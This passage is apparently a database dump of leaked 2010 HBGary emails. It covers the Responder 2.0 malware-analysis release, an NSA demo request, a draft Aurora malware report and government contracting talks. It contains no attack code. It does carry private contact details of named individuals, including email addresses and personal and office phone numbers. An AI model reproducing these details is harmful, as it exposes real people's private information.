easier and quicker to use than before. New features in\r\nthis release:\r\n\r\nA 35% speed increase in analysis time over version 1.5 (according to\r\nMartin\'s speed tests)\r\nAdded support for Windows 7 (32 and 64 bit) memory analysis.\r\nAdded three new project types: \"Remote Memory Snapshot\", \"Live REcon\r\nSession\", and \"Forensic Binary Journal\". The \"Remote Memory Snapshot\"\r\nproject allows you to capture physical memory on a remote machine\r\nusing FDPro. The \"Live REcon Session\" lets you easily run a malware\r\nsample in a VMware Virtual Machine while recording the malware\'s\r\nexecution with REcon. The \"Forensic Binary Journal\" project type gives\r\nyou the option of importing a REcon .fbj file only without having to\r\nimport physical memory.\r\nThe Live REcon Session project type adds fully automated reverse\r\nengineering and tracing of malware samples via integration with VMware\r\nWorkstation and VMware ESX server sandboxes, a huge timesaver that\r\nincludes automatically generated reports as well as capture of all\r\nunderlying code execution and data for analysis. (This is a sure-to-be\r\nfavorite feature for analysts).\r\nA new landing page has been added when Responder first opens. From\r\nthis page you can quickly access the last five recently used projects\r\nas well as easily access copies of FDPro.exe and REcon.exe that are\r\nincluded with Responder 2.0.\r\nUpdated the new project creation wizard to streamline project creation.\r\nThe user interface has been refocused on reporting, including\r\nautomated analysis of suspicious binaries and potential malware\r\nprograms.  Beyond the automated report, the new interactive report\r\nsystem allows the analyst to drag and drop detailed information into\r\nthe report, and control both the content and formatting of the report.\r\nCompletely upgraded online/integrated help system, and a hardcopy\r\nuser\'s manual to go with the software.\r\nREcon plays a much more integrated role in the analysis, the report\r\nautomatically details all the important behavior from a malware\r\nsample, including network activity, file activity, registry activity,\r\nand suspicious runtime behavior such as process and DLL injection\r\nactivity.  All activity is logged down to the individual disassembled\r\ninstructions behind the behavior, nothing is omitted. Code coverage is\r\nillustrated in the disassembly view data samples are shown at every\r\nlocation.  This is like having a post-execution debugger, with\r\nregisters, stack, and sampled data for every time that location was\r\nvisited.  This is a paradigm shift from traditional interactive live\r\ndebugging. Traditional debugging is cumbersome and requires\r\nmicromanagement to collect data.  This typical debugging environment\r\nis designed for CONTROL of the execution, as opposed to OBSERVATION\r\nONLY.  Typically, the analyst does not need to control the execution\r\nof a binary at this level, and instead only needs observe the\r\nbehavior. HBGary\'s new approach to debugging is far superior because\r\nthe analyst can see and query so much more relevant data at one time\r\nwithout having to get into the bits and bytes of single-stepping\r\ninstructions and using breakpoints.  It\'s like having a breakpoint on\r\nevery basic block 100% of the time, without having to micromanage\r\nbreakpoints.\r\nREcon collected control flow is graphable, and this graph can be cross\r\nreferenced with the executable binary extracted from the physical\r\nmemory snapshot, allowing both static and dynamic analysis to be\r\ncombined in one graph.  Code coverage is illustrated on basic blocks\r\nwhich have been hit one or more times at runtime.  Users can examine\r\nruntime sample data at any of these locations.\r\nDigital DNA has been upgraded to support full disassembly and dataflow\r\nof every binary found in the memory snapshot (hundreds, if not\r\nthousands of potential binaries).  Digital DNA can examine every\r\ninstruction, and extract behavior from binaries that have their\r\nsymbols stripped, headers destroyed, even code that exists in rogue\r\nmemory allocations.  This is all 100% automatic, and the results are\r\nweighted so users can determine which binaries are the most suspicious\r\nat-a-glance.\r\nAdded command line support for REcon so it can be integrated into\r\nautomated malware analysis systems.\r\nLarge numbers of bugfixes to REcon, performance enhancements, support\r\nfor XP SP3 sandbox, added log window to REcon.\r\nAdded ability for Responder to automatically decompress compressed HPAK files.\r\nUser can now control where project files are stored. This allows users\r\nto open projects from anywhere as well as save projects anywhere.\r\nResponder 2.0 utilizes a new installer and patching mechanism.\r\nUser configurable hotkeys added to all views.\r\nDetection added for multiple SSDTs, and rogue SSDTs.\r\nAdded two new fuzzy-hashing algorithms to DDNA.\r\nAdded a new \"Samples\" panel that contains sample information from\r\nruntime data captured using REcon.\r\nRight click menus have been reworked to provide more relevant\r\ninformation based on the type of object clicked on.\r\nAdded a Process ID column to the Objects panel.\r\n\r\n-Engineering Team\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11711,'aaron_hbgary_com/11711.html'),(1973,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000774.M438035P3547Q1973.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Did you SEnd in Tax payement','Maybe you mean our expenses.  That&#39;s been done.AaronFrom my iPhoneOn Feb 3, 2010, at 5:31 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNo, not what I’m talking about I’ll find email\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 2:15 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Did you SEnd in Tax payement\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nWe gave John the information he requested.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 3, 2010, at 4:26 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nsent out an email regarding this and you said OK, did you and Ted send this in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6399,'aaron_hbgary_com/6399.html'),(1974,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000774.M624933P3547Q1974.eml','rich@hbgary.com','Re: (U) Digital DNA (HB Gary) Request','Do I know what office she&#39;s in?  Can we catch up before our meeting at 9am?AaronFrom my iPhoneOn Feb 3, 2010, at 6:12 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\nThis is what we need to talk about.  ;). I&#39;m in the airport waiting for my flight.  If ur avail, give me a call. Sent from my Verizon Wireless BlackBerryFrom:  &quot;Sprague, Katelyn N&quot; &lt;ksprague@nsa.gov&gt;\r\nDate: Wed, 3 Feb 2010 16:07:21 -0500To: &lt;rich@hbgary.com&gt;; &lt;matt@hgbary.com&gt;Cc: Sprague, Katelyn N&lt;ksprague@nsa.gov&gt;\r\nSubject: (U) Digital DNA (HB Gary) Request\r\n\r\n\r\nGood Afternoon,\r\n\r\n\r\n\r\n        My boss, David Luber meet with you all in Tennessee this week, at the IA conference – he would like to set up a session for you both to give our office a Digital DNA demo at the unclassified level, as well as the classified level at some point.  Please let me know how we can schedule this demo.  Thank you and I hope you have a great day.     \r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\nKatelyn Sprague\r\n\r\n443-654-1153\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10310,'aaron_hbgary_com/10310.html'),(1975,'2010-02-04','rich@hbgary.com','/aaron@hbgary.com/new/1297000774.M859682P3547Q1975.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: (U) Digital DNA (HB Gary) Request','Yep n yepSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 3 Feb 2010 19:01:47 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: (U) Digital DNA (HB Gary) RequestDo I know what office she&#39;s in?  Can we catch up before our meeting at 9am?AaronFrom my iPhoneOn Feb 3, 2010, at 6:12 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\nThis is what we need to talk about.  ;). I&#39;m in the airport waiting for my flight.  If ur avail, give me a call. Sent from my Verizon Wireless BlackBerryFrom:  &quot;Sprague, Katelyn N&quot; &lt;ksprague@nsa.gov&gt;\r\nDate: Wed, 3 Feb 2010 16:07:21 -0500To: &lt;rich@hbgary.com&gt;; &lt;matt@hgbary.com&gt;Cc: Sprague, Katelyn N&lt;ksprague@nsa.gov&gt;\r\nSubject: (U) Digital DNA (HB Gary) Request\r\n\r\n\r\nGood Afternoon,\r\n\r\n\r\n\r\n        My boss, David Luber meet with you all in Tennessee this week, at the IA conference – he would like to set up a session for you both to give our office a Digital DNA demo at the unclassified level, as well as the classified level at some point.  Please let me know how we can schedule this demo.  Thank you and I hope you have a great day.     \r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\nKatelyn Sprague\r\n\r\n443-654-1153\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3858,'aaron_hbgary_com/3858.html'),(1976,'2010-02-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000778.M71800P3547Q1976.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Marc Meunier\" <mmeunier@verdasys.com>,aaron@hbgary.com,\"Phil Wallisch\" <phil@hbgary.com>','DRAFT of DDR Report for Aurora',' \r\nThe attached word doc is my DRAFT for this report.  Aaron, I would love to get Endgames to add some content to the RECENT ACTIVITY section.\r\n \r\nWe could have spent several more days tearing this thing apart.  Frankly, I need some current C&amp;C servers and droppers.  Our sample is a few weeks old.  However, that said, there should be MORE than enough information in here to help DuPont understand that Aurora was not on the memory image they sent to us.\r\n\r\n \r\nShawn is preparing an innoculation shot, I want to deliver it to DuPont tommorow.  Marc, you might want to insert a short paragraph detailing how to use DG to remove that registry key and subsequent file.  I know DG can do this kind of thing.\r\n\r\n \r\nAny additional data is welcome.  I want to make sure that DG is highlighted.  The Respond section at the end has plenty of room to talk about using DG to eliminate that malware off a machine.\r\n \r\n-Greg\r\n',7783,'aaron_hbgary_com/7783.html'),(1977,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000779.M589339P3547Q1977.eml','all@hbgary.com','Re: Responder 2.0 is live!','All,\r\n \r\nKudos to the development team.  Customers are going to love ver 2.0.\r\n \r\nBob\r\nOn Wed, Feb 3, 2010 at 6:40 PM, &lt;rich@hbgary.com&gt; wrote:\r\nCongratulations to you all! This is amazing work and a herculean effort to bring it all together! Just reading the release notes blow my mind to see how far we&#39;ve come. Responder Pro is in a class all its own! The future is very bright, I hope you guys have good sunglasses! Matt, Bob and I have gotten most of the key executives inside the DoD and NSA over the past 2 days to understand how we fill gaps in their current defense-in-depth strategies. The last 2 days meetings is sure to bring in much needed revenue both short and long term. \r\nThank you for making unbelievably powerful software guys!\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\nFrom: Alex Torres &lt;alex@hbgary.com&gt; \r\nDate: Wed, 3 Feb 2010 13:29:15 -0800\r\nTo: &lt;all@hbgary.com&gt;\r\nSubject: Responder 2.0 is live!\r\n\r\n\r\n\r\nThe engineering team is pleased to announce the release of Responder 2.0. There are many new features and upgrades in this release that make Responder easier and quicker to use than before. New features in this release: \r\n\r\n\r\n\r\nA 35% speed increase in analysis time over version 1.5 (according to Martin&#39;s speed tests)\r\nAdded support for Windows 7 (32 and 64 bit) memory analysis. \r\nAdded three new project types: &quot;Remote Memory Snapshot&quot;, &quot;Live REcon Session&quot;, and &quot;Forensic Binary Journal&quot;. The &quot;Remote Memory Snapshot&quot; project allows you to capture physical memory on a remote machine using FDPro. The &quot;Live REcon Session&quot; lets you easily run a malware sample in a VMware Virtual Machine while recording the malware&#39;s execution with REcon. The &quot;Forensic Binary Journal&quot; project type gives you the option of importing a REcon .fbj file only without having to import physical memory.\r\n\r\nThe Live REcon Session project type adds fully automated reverse engineering and tracing of malware samples via integration with VMware Workstation and VMware ESX server sandboxes, a huge timesaver that includes automatically generated reports as well as capture of all underlying code execution and data for analysis. (This is a sure-to-be favorite feature for analysts).\r\n\r\nA new landing page has been added when Responder first opens. From this page you can quickly access the last five recently used projects as well as easily access copies of FDPro.exe and REcon.exe that are included with Responder 2.0.\r\n\r\nUpdated the new project creation wizard to streamline project creation.\r\nThe user interface has been refocused on reporting, including automated analysis of suspicious binaries and potential malware programs.  Beyond the automated report, the new interactive report system allows the analyst to drag and drop detailed information into the report, and control both the content and formatting of the report.\r\n\r\nCompletely upgraded online/integrated help system, and a hardcopy user&#39;s manual to go with the software.\r\nREcon plays a much more integrated role in the analysis, the report automatically details all the important behavior from a malware sample, including network activity, file activity, registry activity, and suspicious runtime behavior such as process and DLL injection activity.  All activity is logged down to the individual disassembled instructions behind the behavior, nothing is omitted. Code coverage is illustrated in the disassembly view data samples are shown at every location.  This is like having a post-execution debugger, with registers, stack, and sampled data for every time that location was visited.  This is a paradigm shift from traditional interactive live debugging. Traditional debugging is cumbersome and requires micromanagement to collect data.  This typical debugging environment is designed for CONTROL of the execution, as opposed to OBSERVATION ONLY.  Typically, the analyst does not need to control the execution of a binary at this level, and instead only needs observe the behavior. HBGary&#39;s new approach to debugging is far superior because the analyst can see and query so much more relevant data at one time without having to get into the bits and bytes of single-stepping instructions and using breakpoints.  It&#39;s like having a breakpoint on every basic block 100% of the time, without having to micromanage breakpoints.\r\n\r\nREcon collected control flow is graphable, and this graph can be cross referenced with the executable binary extracted from the physical memory snapshot, allowing both static and dynamic analysis to be combined in one graph.  Code coverage is illustrated on basic blocks which have been hit one or more times at runtime.  Users can examine runtime sample data at any of these locations.\r\n\r\nDigital DNA has been upgraded to support full disassembly and dataflow of every binary found in the memory snapshot (hundreds, if not thousands of potential binaries).  Digital DNA can examine every instruction, and extract behavior from binaries that have their symbols stripped, headers destroyed, even code that exists in rogue memory allocations.  This is all 100% automatic, and the results are weighted so users can determine which binaries are the most suspicious at-a-glance.\r\n\r\nAdded command line support for REcon so it can be integrated into automated malware analysis systems.\r\nLarge numbers of bugfixes to REcon, performance enhancements, support for XP SP3 sandbox, added log window to REcon.\r\nAdded ability for Responder to automatically decompress compressed HPAK files.\r\nUser can now control where project files are stored. This allows users to open projects from anywhere as well as save projects anywhere.\r\nResponder 2.0 utilizes a new installer and patching mechanism. \r\nUser configurable hotkeys added to all views.\r\nDetection added for multiple SSDTs, and rogue SSDTs.\r\nAdded two new fuzzy-hashing algorithms to DDNA.\r\nAdded a new &quot;Samples&quot; panel that contains sample information from runtime data captured using REcon.\r\nRight click menus have been reworked to provide more relevant information based on the type of object clicked on.\r\nAdded a Process ID column to the Objects panel.\r\n-Engineering Team\r\n',8913,'aaron_hbgary_com/8913.html'),(1978,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000779.M845129P3547Q1978.eml','rich@hbgary.com','Re: (U) Digital DNA (HB Gary) Request','K what u say 830.  I&#39;ll find a place near mantech. From my iPhoneOn Feb 3, 2010, at 7:05 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\nYep n yepSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 3 Feb 2010 19:01:47 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: (U) Digital DNA (HB Gary) Request\r\nDo I know what office she&#39;s in?  Can we catch up before our meeting at 9am?AaronFrom my iPhoneOn Feb 3, 2010, at 6:12 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is what we need to talk about.  ;). I&#39;m in the airport waiting for my flight.  If ur avail, give me a call. Sent from my Verizon Wireless BlackBerryFrom:  &quot;Sprague, Katelyn N&quot; &lt;ksprague@nsa.gov&gt;\r\nDate: Wed, 3 Feb 2010 16:07:21 -0500To: &lt;rich@hbgary.com&gt;; &lt;matt@hgbary.com&gt;\r\nCc: Sprague, Katelyn N&lt;ksprague@nsa.gov&gt;\r\nSubject: (U) Digital DNA (HB Gary) Request\r\n\r\n\r\nGood Afternoon,\r\n\r\n\r\n\r\n        My boss, David Luber meet with you all in Tennessee this week, at the IA conference – he would like to set up a session for you both to give our office a Digital DNA demo at the unclassified level, as well as the classified level at some point.  Please let me know how we can schedule this demo.  Thank you and I hope you have a great day.     \r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\nKatelyn Sprague\r\n\r\n443-654-1153\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10199,'aaron_hbgary_com/10199.html'),(1979,'2010-02-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000780.M139822P3547Q1979.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Did you SEnd in Tax payement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo it was from John at beginning of month, I&#8217;ll look for it.&nbsp; I&#8217;ll\r\nping you tomorrow\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 4:01 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Did you SEnd in Tax payement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMaybe you mean our expenses. &nbsp;That\'s been done.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 3, 2010, at 5:31 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo,\r\nnot what I&#8217;m talking about I&#8217;ll find email\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 2:15 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Did you SEnd in Tax payement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe\r\ngave John the information he requested.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 3, 2010, at 4:26 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn sent out an\r\nemail regarding this and you said OK, did you and Ted send this in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15227,'aaron_hbgary_com/15227.html'),(1980,'2010-02-04','rich@hbgary.com','/aaron@hbgary.com/new/1297000780.M364188P3547Q1980.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: (U) Digital DNA (HB Gary) Request','Coolio. Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 3 Feb 2010 20:24:49 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: (U) Digital DNA (HB Gary) RequestK what u say 830.  I&#39;ll find a place near mantech. From my iPhoneOn Feb 3, 2010, at 7:05 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\nYep n yepSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 3 Feb 2010 19:01:47 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: (U) Digital DNA (HB Gary) Request\r\nDo I know what office she&#39;s in?  Can we catch up before our meeting at 9am?AaronFrom my iPhoneOn Feb 3, 2010, at 6:12 PM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is what we need to talk about.  ;). I&#39;m in the airport waiting for my flight.  If ur avail, give me a call. Sent from my Verizon Wireless BlackBerryFrom:  &quot;Sprague, Katelyn N&quot; &lt;ksprague@nsa.gov&gt;\r\nDate: Wed, 3 Feb 2010 16:07:21 -0500To: &lt;rich@hbgary.com&gt;; &lt;matt@hgbary.com&gt;\r\nCc: Sprague, Katelyn N&lt;ksprague@nsa.gov&gt;\r\nSubject: (U) Digital DNA (HB Gary) Request\r\n\r\n\r\nGood Afternoon,\r\n\r\n\r\n\r\n        My boss, David Luber meet with you all in Tennessee this week, at the IA conference – he would like to set up a session for you both to give our office a Digital DNA demo at the unclassified level, as well as the classified level at some point.  Please let me know how we can schedule this demo.  Thank you and I hope you have a great day.     \r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\nKatelyn Sprague\r\n\r\n443-654-1153\r\n\r\n*~*~*~*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9460,'aaron_hbgary_com/9460.html'),(1981,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000780.M560185P3547Q1981.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Responder and Digital DNA','Sounds like they want to analyze malware faster.  Could running REcon, especially running it automatically from the API command line interface, be used to speed things up?\r\n \r\nOn Wed, Feb 3, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAll,\r\n\r\nJose is part of the team Ted and I met with in Colorado.  They have some significant cyber programs in San Antonio.  They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems.  They are falling way behind.  If we can show value add quickly, get them caught up.  Jose feels confident they will bring us on contract to support.  Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\n\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: February 3, 2010 2:11:04 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: Responder and Digital DNA\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@TASC.COM&gt;Date: February 3, 2010 11:19:14 AM MST\r\nTo: &lt;ted@hbgary.com&gt;Cc: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;, &quot;Kamin, Karl V (TASC Inc)&quot; &lt;karl.kamin@TASC.COM&gt;, &quot;Powell, Patrick K (TASC Inc)&quot; &lt;patrick.powell@TASC.COM&gt;\r\nSubject: Responder and Digital DNA\r\n\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.  I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.  Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.  Karl would probably be best at discussing our unique mission set and current approaches.  When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.  Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.  Zero day finds would be the proof we are looking for.\r\n\r\nThanks.  More to follow.\r\nJose Sandoval\r\n92 IOS Program Manager\r\n210-422-2046 (cell)\r\n210-925-2209 (site)\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',9606,'aaron_hbgary_com/9606.html'),(1982,'2010-02-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000780.M802551P3547Q1982.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Resending for Aaron','Ted and Aaron,\r\n \r\nThanks.  I was able to read the docs.  I skimmed them quickly tonight.  Certainly, a sizable percentage of this would be a good fit for HBGary.\r\n \r\nIs HBGary Federal considering priming it?\r\nOr do you prefer to be a sub?\r\nWhat work do you need me to do?\r\n \r\nLet me know if you need me to commit work cycles to it.\r\n \r\nBob \r\n \r\n \r\n \r\nOn Wed, Feb 3, 2010 at 2:31 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nBob,Please let me know if you have any problems opening these files.Regards,Ted\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',8563,'aaron_hbgary_com/8563.html'),(1983,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000781.M215516P3547Q1984.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Responder and Digital DNA','Can\'t we use the feed processor to do triaj, rack and stack as an initial step?On Feb 4, 2010, at 12:29 AM, Bob Slapnik wrote:Sounds like they want to analyze malware faster.&nbsp; Could running REcon, especially running it automatically from the API command line interface, be used to speed things up?\r\n&nbsp;\r\nOn Wed, Feb 3, 2010 at 2:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nAll,\r\n\r\nJose is part of the team Ted and I met with in Colorado. &nbsp;They have some significant cyber programs in San Antonio. &nbsp;They have around 20,000 potential malware samples that Ted is working to get a hold of from AF systems. &nbsp;They are falling way behind. &nbsp;If we can show value add quickly, get them caught up. &nbsp;Jose feels confident they will bring us on contract to support. &nbsp;Then we can do more sophisticated things operationally, palantir, threat intelligence, etc.\r\n\r\n\r\nAaronFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: February 3, 2010 2:11:04 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSubject: Fwd: Responder and Digital DNA\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: \"Sandoval Jr, Jose (TASC Inc)\" &lt;jose.sandoval@TASC.COM&gt;Date: February 3, 2010 11:19:14 AM MST\r\nTo: &lt;ted@hbgary.com&gt;Cc: \"Gutierrez, Daniel L (TASC Inc)\" &lt;daniel.gutierrez@TASC.COM&gt;, \"Kamin, Karl V (TASC Inc)\" &lt;karl.kamin@TASC.COM&gt;, \"Powell, Patrick K (TASC Inc)\" &lt;patrick.powell@TASC.COM&gt;\r\nSubject: Responder and Digital DNA\r\n\r\n\r\nTed, thanks for taking the time today to talk to me about the two products that could help us do our job at the 92d.&nbsp; I believe we already have the Digital DNA, but have had challenges on implementing it on our assessments.&nbsp; Per our discussion, cc’d in this email is Karl Kamin and Patrick Powell.&nbsp; Karl would probably be best at discussing our unique mission set and current approaches.&nbsp; When I return back to work tomorrow, I plan on meeting with the team to discuss the technical issues and possible solutions.&nbsp; Most importantly, if the customer will allow, I would like to send you the binaries we have to see what you will be able to produce out of that.&nbsp; Zero day finds would be the proof we are looking for.Thanks.&nbsp; More to follow.Jose Sandoval92 IOS Program Manager210-422-2046 (cell)210-925-2209 (site)-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15524,'aaron_hbgary_com/15524.html'),(1984,'2010-02-04','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@TASC.COM>','/aaron@hbgary.com/new/1297000781.M29294P3547Q1983.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Alliant AF OSI RFP Guardian Requirement','Still waiting to hear from Prime, hopefully tomorrow.\r\n\r\nI do understand that Jose and Ted had a good discussion today so\r\nhopefully that will get some traction\r\n\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 03, 2010 12:52 PM\r\nTo: Gutierrez, Daniel L (TASC Inc)\r\nCc: \r\nSubject: Re: Alliant AF OSI RFP Guardian Requirement\r\n\r\nSo what\'s the next step?\r\n\r\n From my iPhone\r\n\r\nOn Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n wrote:\r\n\r\n>\r\n> ________________________________\r\n>\r\n> From: Henderson, Van B (TASC Inc)\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Sent: Thu Jan 28 14:08:55 2010\r\n> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> If interested, I suspect the big question will be how do we get onto \r\n> Alliant, given TASC does not hold that contract vehicle.\r\n>\r\n>\r\n>\r\n> Let me know if interested.........    I still get this info from NG\r\n> until they figure out not to send to me.\r\n>\r\n>\r\n>\r\n> Van\r\n>\r\n>\r\n>\r\n> Van Henderson\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> TASC, Inc\r\n>\r\n> Director, Business Development\r\n>\r\n> 4807 Stonecroft Boulevard\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> (703) 449-3996 (voice)\r\n>\r\n> (703) 961-1781 (fax)\r\n>\r\n> (703) 365-4131 (pager)\r\n>\r\n> 7033654131@airmessage.net (mobile 